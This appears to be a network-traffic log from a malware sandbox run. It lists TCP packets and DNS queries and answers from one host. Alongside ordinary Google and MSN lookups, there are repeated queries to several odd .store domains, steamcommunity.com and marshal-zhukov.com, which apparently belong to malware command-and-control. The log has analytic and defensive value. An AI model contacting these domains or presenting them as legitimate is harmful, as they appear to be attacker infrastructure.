Nov 11, 2024 12:40:29.847430944 CET	49901	443	192.168.2.6	13.107.246.40
Nov 11, 2024 12:40:29.895253897 CET	443	49900	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.895262957 CET	443	49900	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.895301104 CET	443	49900	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.895325899 CET	443	49900	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.895334959 CET	49900	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:29.895370960 CET	443	49900	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.895384073 CET	49900	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:29.895410061 CET	49900	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:29.895787954 CET	443	49900	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.895803928 CET	443	49900	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.895840883 CET	49900	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:29.895848036 CET	443	49900	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.895874023 CET	49900	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:29.895898104 CET	49900	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:29.896358013 CET	443	49900	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.896429062 CET	49900	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:29.898542881 CET	443	49900	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.898562908 CET	443	49900	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.898643017 CET	49900	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:29.898650885 CET	443	49900	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.898691893 CET	49900	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:29.902282953 CET	443	49898	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.902322054 CET	443	49898	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.902349949 CET	49898	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:29.902369022 CET	443	49898	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.902395010 CET	49898	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:29.902412891 CET	49898	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:29.902786016 CET	443	49898	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.902842045 CET	49898	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:29.902848005 CET	443	49898	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.902874947 CET	443	49898	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.902925014 CET	49898	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:29.914797068 CET	443	49900	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.914819956 CET	443	49900	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.914855957 CET	443	49900	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.914894104 CET	49900	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:29.914906025 CET	443	49900	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.914917946 CET	443	49900	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.914937973 CET	49900	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:29.914959908 CET	49900	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:29.930838108 CET	49920	443	192.168.2.6	20.110.205.119
Nov 11, 2024 12:40:29.930856943 CET	443	49920	20.110.205.119	192.168.2.6
Nov 11, 2024 12:40:29.930918932 CET	49920	443	192.168.2.6	20.110.205.119
Nov 11, 2024 12:40:29.931158066 CET	49920	443	192.168.2.6	20.110.205.119
Nov 11, 2024 12:40:29.931174994 CET	443	49920	20.110.205.119	192.168.2.6
Nov 11, 2024 12:40:29.941556931 CET	49921	443	192.168.2.6	40.79.167.8
Nov 11, 2024 12:40:29.941572905 CET	443	49921	40.79.167.8	192.168.2.6
Nov 11, 2024 12:40:29.941639900 CET	49921	443	192.168.2.6	40.79.167.8
Nov 11, 2024 12:40:29.941987038 CET	49921	443	192.168.2.6	40.79.167.8
Nov 11, 2024 12:40:29.941999912 CET	443	49921	40.79.167.8	192.168.2.6
Nov 11, 2024 12:40:29.946968079 CET	49922	443	192.168.2.6	40.79.167.8
Nov 11, 2024 12:40:29.947000980 CET	443	49922	40.79.167.8	192.168.2.6
Nov 11, 2024 12:40:29.947077036 CET	49922	443	192.168.2.6	40.79.167.8
Nov 11, 2024 12:40:29.947336912 CET	49922	443	192.168.2.6	40.79.167.8
Nov 11, 2024 12:40:29.947350979 CET	443	49922	40.79.167.8	192.168.2.6
Nov 11, 2024 12:40:29.948889971 CET	49905	443	192.168.2.6	13.107.246.40
Nov 11, 2024 12:40:29.948911905 CET	443	49905	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:29.949265003 CET	49923	443	192.168.2.6	13.107.246.40
Nov 11, 2024 12:40:29.949279070 CET	443	49923	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:29.949389935 CET	49923	443	192.168.2.6	13.107.246.40
Nov 11, 2024 12:40:29.949954987 CET	49903	443	192.168.2.6	13.107.246.40
Nov 11, 2024 12:40:29.949974060 CET	443	49903	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:29.950345039 CET	49923	443	192.168.2.6	13.107.246.40
Nov 11, 2024 12:40:29.950356960 CET	443	49923	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:29.950596094 CET	49904	443	192.168.2.6	13.107.246.40
Nov 11, 2024 12:40:29.950606108 CET	443	49904	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:29.953353882 CET	49902	443	192.168.2.6	13.107.246.40
Nov 11, 2024 12:40:29.953368902 CET	443	49902	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:29.953933954 CET	49901	443	192.168.2.6	13.107.246.40
Nov 11, 2024 12:40:29.953943014 CET	443	49901	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:29.955575943 CET	49898	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:29.955878019 CET	49900	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:29.977375984 CET	443	49878	40.79.167.8	192.168.2.6
Nov 11, 2024 12:40:29.979300022 CET	49878	443	192.168.2.6	40.79.167.8
Nov 11, 2024 12:40:29.979346037 CET	443	49878	40.79.167.8	192.168.2.6
Nov 11, 2024 12:40:29.979398966 CET	49878	443	192.168.2.6	40.79.167.8
Nov 11, 2024 12:40:29.981004953 CET	443	49909	23.33.40.143	192.168.2.6
Nov 11, 2024 12:40:29.981443882 CET	49909	443	192.168.2.6	23.33.40.143
Nov 11, 2024 12:40:29.981472969 CET	443	49909	23.33.40.143	192.168.2.6
Nov 11, 2024 12:40:29.982363939 CET	443	49908	23.33.40.143	192.168.2.6
Nov 11, 2024 12:40:29.982534885 CET	443	49909	23.33.40.143	192.168.2.6
Nov 11, 2024 12:40:29.982559919 CET	49908	443	192.168.2.6	23.33.40.143
Nov 11, 2024 12:40:29.982570887 CET	443	49908	23.33.40.143	192.168.2.6
Nov 11, 2024 12:40:29.982593060 CET	49909	443	192.168.2.6	23.33.40.143
Nov 11, 2024 12:40:29.983572960 CET	443	49908	23.33.40.143	192.168.2.6
Nov 11, 2024 12:40:29.983628035 CET	49908	443	192.168.2.6	23.33.40.143
Nov 11, 2024 12:40:29.983773947 CET	49909	443	192.168.2.6	23.33.40.143
Nov 11, 2024 12:40:29.983853102 CET	443	49909	23.33.40.143	192.168.2.6
Nov 11, 2024 12:40:29.984113932 CET	49908	443	192.168.2.6	23.33.40.143
Nov 11, 2024 12:40:29.984169960 CET	443	49908	23.33.40.143	192.168.2.6
Nov 11, 2024 12:40:29.988070965 CET	49899	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:29.988079071 CET	443	49899	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.993650913 CET	49898	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:29.993659019 CET	443	49898	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:29.994529963 CET	49900	443	192.168.2.6	104.117.182.56
Nov 11, 2024 12:40:29.994545937 CET	443	49900	104.117.182.56	192.168.2.6
Nov 11, 2024 12:40:30.085155964 CET	443	49911	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:30.085397959 CET	49911	443	192.168.2.6	13.107.246.40
Nov 11, 2024 12:40:30.085410118 CET	443	49911	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:30.085760117 CET	443	49911	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:30.086611986 CET	49911	443	192.168.2.6	13.107.246.40
Nov 11, 2024 12:40:30.086685896 CET	443	49911	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:30.086734056 CET	49911	443	192.168.2.6	13.107.246.40
Nov 11, 2024 12:40:30.088936090 CET	443	49910	204.79.197.219	192.168.2.6
Nov 11, 2024 12:40:30.089191914 CET	49910	443	192.168.2.6	204.79.197.219
Nov 11, 2024 12:40:30.089211941 CET	443	49910	204.79.197.219	192.168.2.6
Nov 11, 2024 12:40:30.090277910 CET	443	49910	204.79.197.219	192.168.2.6
Nov 11, 2024 12:40:30.090338945 CET	49910	443	192.168.2.6	204.79.197.219
Nov 11, 2024 12:40:30.094568014 CET	49910	443	192.168.2.6	204.79.197.219
Nov 11, 2024 12:40:30.094655991 CET	443	49910	204.79.197.219	192.168.2.6
Nov 11, 2024 12:40:30.100461960 CET	443	49912	204.79.197.219	192.168.2.6
Nov 11, 2024 12:40:30.102055073 CET	49912	443	192.168.2.6	204.79.197.219
Nov 11, 2024 12:40:30.102078915 CET	443	49912	204.79.197.219	192.168.2.6
Nov 11, 2024 12:40:30.103137970 CET	443	49912	204.79.197.219	192.168.2.6
Nov 11, 2024 12:40:30.103223085 CET	49912	443	192.168.2.6	204.79.197.219
Nov 11, 2024 12:40:30.103909969 CET	49912	443	192.168.2.6	204.79.197.219
Nov 11, 2024 12:40:30.103972912 CET	443	49912	204.79.197.219	192.168.2.6
Nov 11, 2024 12:40:30.131325006 CET	443	49911	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:30.134464979 CET	49908	443	192.168.2.6	23.33.40.143
Nov 11, 2024 12:40:30.134485960 CET	443	49908	23.33.40.143	192.168.2.6
Nov 11, 2024 12:40:30.134504080 CET	49911	443	192.168.2.6	13.107.246.40
Nov 11, 2024 12:40:30.162604094 CET	443	49916	23.33.40.146	192.168.2.6
Nov 11, 2024 12:40:30.163115978 CET	49916	443	192.168.2.6	23.33.40.146
Nov 11, 2024 12:40:30.163130999 CET	443	49916	23.33.40.146	192.168.2.6
Nov 11, 2024 12:40:30.164256096 CET	443	49916	23.33.40.146	192.168.2.6
Nov 11, 2024 12:40:30.164340973 CET	49916	443	192.168.2.6	23.33.40.146
Nov 11, 2024 12:40:30.167166948 CET	49916	443	192.168.2.6	23.33.40.146
Nov 11, 2024 12:40:30.167222977 CET	443	49916	23.33.40.146	192.168.2.6
Nov 11, 2024 12:40:30.179775953 CET	443	49911	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:30.179857969 CET	443	49911	13.107.246.40	192.168.2.6
Nov 11, 2024 12:40:30.180156946 CET	49911	443	192.168.2.6	13.107.246.40

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 11, 2024 12:40:10.687414885 CET	192.168.2.6	1.1.1.1	0xd514	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 12:40:10.687583923 CET	192.168.2.6	1.1.1.1	0xd7a	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 11, 2024 12:40:13.613306999 CET	192.168.2.6	1.1.1.1	0x41eb	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 12:40:13.613492966 CET	192.168.2.6	1.1.1.1	0xfb49	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Nov 11, 2024 12:40:14.603697062 CET	192.168.2.6	1.1.1.1	0x2e45	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 12:40:14.603841066 CET	192.168.2.6	1.1.1.1	0xe8ce	Standard query (0)	play.google.com	65	IN (0x0001)	false
Nov 11, 2024 12:40:20.787580013 CET	192.168.2.6	1.1.1.1	0xabd2	Standard query (0)	ntp.msn.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 12:40:20.788570881 CET	192.168.2.6	1.1.1.1	0x5a2c	Standard query (0)	ntp.msn.com	65	IN (0x0001)	false
Nov 11, 2024 12:40:21.740226030 CET	192.168.2.6	1.1.1.1	0xddc7	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 11, 2024 12:40:21.740401983 CET	192.168.2.6	1.1.1.1	0x34a2	Standard query (0)	bzib.nelreports.net	65	IN (0x0001)	false
Nov 11, 2024 12:40:23.075695038 CET	192.168.2.6	1.1.1.1	0x818a	Standard query (0)	sb.scorecardresearch.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 12:40:23.076261997 CET	192.168.2.6	1.1.1.1	0x90a0	Standard query (0)	sb.scorecardresearch.com	65	IN (0x0001)	false
Nov 11, 2024 12:40:23.184844971 CET	192.168.2.6	1.1.1.1	0x35ee	Standard query (0)	assets.msn.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 12:40:23.185307026 CET	192.168.2.6	1.1.1.1	0xcb59	Standard query (0)	assets.msn.com	65	IN (0x0001)	false
Nov 11, 2024 12:40:23.256670952 CET	192.168.2.6	1.1.1.1	0x2e3d	Standard query (0)	c.msn.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 12:40:23.256818056 CET	192.168.2.6	1.1.1.1	0x43f8	Standard query (0)	c.msn.com	65	IN (0x0001)	false
Nov 11, 2024 12:40:23.259036064 CET	192.168.2.6	1.1.1.1	0x13fc	Standard query (0)	api.msn.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 12:40:23.259197950 CET	192.168.2.6	1.1.1.1	0x9b22	Standard query (0)	api.msn.com	65	IN (0x0001)	false
Nov 11, 2024 12:40:23.563580036 CET	192.168.2.6	1.1.1.1	0x9167	Standard query (0)	clients2.googleusercontent.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 12:40:23.564076900 CET	192.168.2.6	1.1.1.1	0x18bc	Standard query (0)	clients2.googleusercontent.com	65	IN (0x0001)	false
Nov 11, 2024 12:40:24.911360979 CET	192.168.2.6	1.1.1.1	0x952f	Standard query (0)	assets2.msn.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 12:40:24.911541939 CET	192.168.2.6	1.1.1.1	0x9cf0	Standard query (0)	assets2.msn.com	65	IN (0x0001)	false
Nov 11, 2024 12:40:24.942352057 CET	192.168.2.6	1.1.1.1	0x8797	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 12:40:24.942543030 CET	192.168.2.6	1.1.1.1	0xb978	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 11, 2024 12:40:24.942887068 CET	192.168.2.6	1.1.1.1	0x73a6	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 12:40:24.943057060 CET	192.168.2.6	1.1.1.1	0x64	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 11, 2024 12:40:25.067965984 CET	192.168.2.6	1.1.1.1	0x31ad	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 12:40:25.068093061 CET	192.168.2.6	1.1.1.1	0x175d	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 11, 2024 12:41:10.455686092 CET	192.168.2.6	1.1.1.1	0x6b40	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Nov 11, 2024 12:41:10.492600918 CET	192.168.2.6	1.1.1.1	0x8eb1	Standard query (0)	crisiwarny.store	A (IP address)	IN (0x0001)	false
Nov 11, 2024 12:41:10.517702103 CET	192.168.2.6	1.1.1.1	0xefa	Standard query (0)	fadehairucw.store	A (IP address)	IN (0x0001)	false
Nov 11, 2024 12:41:10.542485952 CET	192.168.2.6	1.1.1.1	0xd442	Standard query (0)	thumbystriw.store	A (IP address)	IN (0x0001)	false
Nov 11, 2024 12:41:10.567754030 CET	192.168.2.6	1.1.1.1	0x2870	Standard query (0)	necklacedmny.store	A (IP address)	IN (0x0001)	false
Nov 11, 2024 12:41:10.591727972 CET	192.168.2.6	1.1.1.1	0x8fb5	Standard query (0)	founpiuer.store	A (IP address)	IN (0x0001)	false
Nov 11, 2024 12:41:10.615771055 CET	192.168.2.6	1.1.1.1	0x3f19	Standard query (0)	navygenerayk.store	A (IP address)	IN (0x0001)	false
Nov 11, 2024 12:41:10.641756058 CET	192.168.2.6	1.1.1.1	0x474f	Standard query (0)	scriptyprefej.store	A (IP address)	IN (0x0001)	false
Nov 11, 2024 12:41:10.678471088 CET	192.168.2.6	1.1.1.1	0xe35d	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 12:41:12.005609989 CET	192.168.2.6	1.1.1.1	0x31fd	Standard query (0)	marshal-zhukov.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 12:41:20.408126116 CET	192.168.2.6	1.1.1.1	0x705f	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 12:41:20.408310890 CET	192.168.2.6	1.1.1.1	0x667d	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 11, 2024 12:41:20.410661936 CET	192.168.2.6	1.1.1.1	0xf981	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 12:41:20.410820007 CET	192.168.2.6	1.1.1.1	0xa740	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 11, 2024 12:41:20.412091017 CET	192.168.2.6	1.1.1.1	0xdc15	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 12:41:20.412233114 CET	192.168.2.6	1.1.1.1	0xfe00	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 11, 2024 12:41:23.175934076 CET	192.168.2.6	1.1.1.1	0x6b07	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Nov 11, 2024 12:41:23.215003014 CET	192.168.2.6	1.1.1.1	0xa9c	Standard query (0)	crisiwarny.store	A (IP address)	IN (0x0001)	false
Nov 11, 2024 12:41:23.239195108 CET	192.168.2.6	1.1.1.1	0xed73	Standard query (0)	fadehairucw.store	A (IP address)	IN (0x0001)	false
Nov 11, 2024 12:41:23.268296957 CET	192.168.2.6	1.1.1.1	0xc2e0	Standard query (0)	thumbystriw.store	A (IP address)	IN (0x0001)	false
Nov 11, 2024 12:41:23.326078892 CET	192.168.2.6	1.1.1.1	0xc970	Standard query (0)	necklacedmny.store	A (IP address)	IN (0x0001)	false
Nov 11, 2024 12:41:23.358715057 CET	192.168.2.6	1.1.1.1	0x605a	Standard query (0)	founpiuer.store	A (IP address)	IN (0x0001)	false
Nov 11, 2024 12:41:23.385427952 CET	192.168.2.6	1.1.1.1	0x7acc	Standard query (0)	navygenerayk.store	A (IP address)	IN (0x0001)	false
Nov 11, 2024 12:41:23.414042950 CET	192.168.2.6	1.1.1.1	0x2875	Standard query (0)	scriptyprefej.store	A (IP address)	IN (0x0001)	false
Nov 11, 2024 12:41:47.525768042 CET	192.168.2.6	1.1.1.1	0xf4e2	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Nov 11, 2024 12:41:47.552258968 CET	192.168.2.6	1.1.1.1	0x1096	Standard query (0)	crisiwarny.store	A (IP address)	IN (0x0001)	false
Nov 11, 2024 12:41:47.577871084 CET	192.168.2.6	1.1.1.1	0x28f5	Standard query (0)	fadehairucw.store	A (IP address)	IN (0x0001)	false
Nov 11, 2024 12:41:47.586749077 CET	192.168.2.6	1.1.1.1	0xe67e	Standard query (0)	thumbystriw.store	A (IP address)	IN (0x0001)	false
Nov 11, 2024 12:41:47.612375021 CET	192.168.2.6	1.1.1.1	0x584	Standard query (0)	necklacedmny.store	A (IP address)	IN (0x0001)	false
Nov 11, 2024 12:41:47.638448954 CET	192.168.2.6	1.1.1.1	0x7937	Standard query (0)	founpiuer.store	A (IP address)	IN (0x0001)	false
Nov 11, 2024 12:41:47.665690899 CET	192.168.2.6	1.1.1.1	0xbcbc	Standard query (0)	navygenerayk.store	A (IP address)	IN (0x0001)	false
Nov 11, 2024 12:41:47.691750050 CET	192.168.2.6	1.1.1.1	0x31e1	Standard query (0)	scriptyprefej.store	A (IP address)	IN (0x0001)	false
Nov 11, 2024 12:41:47.718035936 CET	192.168.2.6	1.1.1.1	0x259a	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 12:43:14.828438044 CET	192.168.2.6	1.1.1.1	0xa12	Standard query (0)	steamcommunity.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 12:43:22.403944969 CET	192.168.2.6	1.1.1.1	0x61c6	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 12:43:22.403944969 CET	192.168.2.6	1.1.1.1	0x8c87	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 11, 2024 12:43:24.574870110 CET	192.168.2.6	1.1.1.1	0x2c3c	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 12:43:24.575047016 CET	192.168.2.6	1.1.1.1	0x734	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 11, 2024 12:40:10.694109917 CET	1.1.1.1	192.168.2.6	0xd514	No error (0)	www.google.com		142.250.185.100	A (IP address)	IN (0x0001)	false
Nov 11, 2024 12:40:10.694422007 CET	1.1.1.1	192.168.2.6	0xd7a	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 11, 2024 12:40:13.620201111 CET	1.1.1.1	192.168.2.6	0x41eb	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 11, 2024 12:40:13.620201111 CET	1.1.1.1	192.168.2.6	0x41eb	No error (0)	plus.l.google.com		142.250.185.206	A (IP address)	IN (0x0001)	false
Nov 11, 2024 12:40:13.620687008 CET	1.1.1.1	192.168.2.6	0xfb49	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 11, 2024 12:40:14.610723019 CET	1.1.1.1	192.168.2.6	0x2e45	No error (0)	play.google.com		142.250.181.238	A (IP address)	IN (0x0001)	false
Nov 11, 2024 12:40:20.794475079 CET	1.1.1.1	192.168.2.6	0xabd2	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 11, 2024 12:40:20.795056105 CET	1.1.1.1	192.168.2.6	0x5a2c	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 11, 2024 12:40:20.805419922 CET	1.1.1.1	192.168.2.6	0x5903	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 11, 2024 12:40:20.805419922 CET	1.1.1.1	192.168.2.6	0x5903	No error (0)	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		94.245.104.56	A (IP address)	IN (0x0001)	false
Nov 11, 2024 12:40:20.805429935 CET	1.1.1.1	192.168.2.6	0xab93	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 11, 2024 12:40:21.749207020 CET	1.1.1.1	192.168.2.6	0x34a2	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 11, 2024 12:40:21.749320984 CET	1.1.1.1	192.168.2.6	0xddc7	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 11, 2024 12:40:23.082387924 CET	1.1.1.1	192.168.2.6	0x818a	No error (0)	sb.scorecardresearch.com		18.244.18.32	A (IP address)	IN (0x0001)	false
Nov 11, 2024 12:40:23.082387924 CET	1.1.1.1	192.168.2.6	0x818a	No error (0)	sb.scorecardresearch.com		18.244.18.27	A (IP address)	IN (0x0001)	false
Nov 11, 2024 12:40:23.082387924 CET	1.1.1.1	192.168.2.6	0x818a	No error (0)	sb.scorecardresearch.com		18.244.18.122	A (IP address)	IN (0x0001)	false
Nov 11, 2024 12:40:23.082387924 CET	1.1.1.1	192.168.2.6	0x818a	No error (0)	sb.scorecardresearch.com		18.244.18.38	A (IP address)	IN (0x0001)	false
Nov 11, 2024 12:40:23.191847086 CET	1.1.1.1	192.168.2.6	0x35ee	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 11, 2024 12:40:23.192121983 CET	1.1.1.1	192.168.2.6	0xcb59	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 11, 2024 12:40:23.264060020 CET	1.1.1.1	192.168.2.6	0x2e3d	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 11, 2024 12:40:23.264082909 CET	1.1.1.1	192.168.2.6	0x43f8	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 11, 2024 12:40:23.265963078 CET	1.1.1.1	192.168.2.6	0x9b22	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 11, 2024 12:40:23.266246080 CET	1.1.1.1	192.168.2.6	0x13fc	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 11, 2024 12:40:23.570319891 CET	1.1.1.1	192.168.2.6	0x9167	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 11, 2024 12:40:23.570319891 CET	1.1.1.1	192.168.2.6	0x9167	No error (0)	googlehosted.l.googleusercontent.com		216.58.206.33	A (IP address)	IN (0x0001)	false
Nov 11, 2024 12:40:23.571686983 CET	1.1.1.1	192.168.2.6	0x18bc	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 11, 2024 12:40:24.816059113 CET	1.1.1.1	192.168.2.6	0xc18d	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 11, 2024 12:40:24.816059113 CET	1.1.1.1	192.168.2.6	0xc18d	No error (0)	sni1gl.wpc.nucdn.net		152.199.21.175	A (IP address)	IN (0x0001)	false
Nov 11, 2024 12:40:24.816135883 CET	1.1.1.1	192.168.2.6	0x7727	No error (0)	scdn1f005.wpc.ad629.nucdn.net	sni1gl.wpc.nucdn.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 11, 2024 12:40:24.918960094 CET	1.1.1.1	192.168.2.6	0x9cf0	No error (0)	assets2.msn.com	assets2.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 11, 2024 12:40:24.919578075 CET	1.1.1.1	192.168.2.6	0x952f	No error (0)	assets2.msn.com	assets2.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 11, 2024 12:40:24.949191093 CET	1.1.1.1	192.168.2.6	0x8797	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 11, 2024 12:40:24.949191093 CET	1.1.1.1	192.168.2.6	0x8797	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 11, 2024 12:40:24.949326992 CET	1.1.1.1	192.168.2.6	0xb978	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 11, 2024 12:40:24.949867010 CET	1.1.1.1	192.168.2.6	0x73a6	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 11, 2024 12:40:24.949867010 CET	1.1.1.1	192.168.2.6	0x73a6	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 11, 2024 12:40:24.950133085 CET	1.1.1.1	192.168.2.6	0x64	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 11, 2024 12:40:25.075797081 CET	1.1.1.1	192.168.2.6	0x31ad	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 11, 2024 12:40:25.075797081 CET	1.1.1.1	192.168.2.6	0x31ad	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
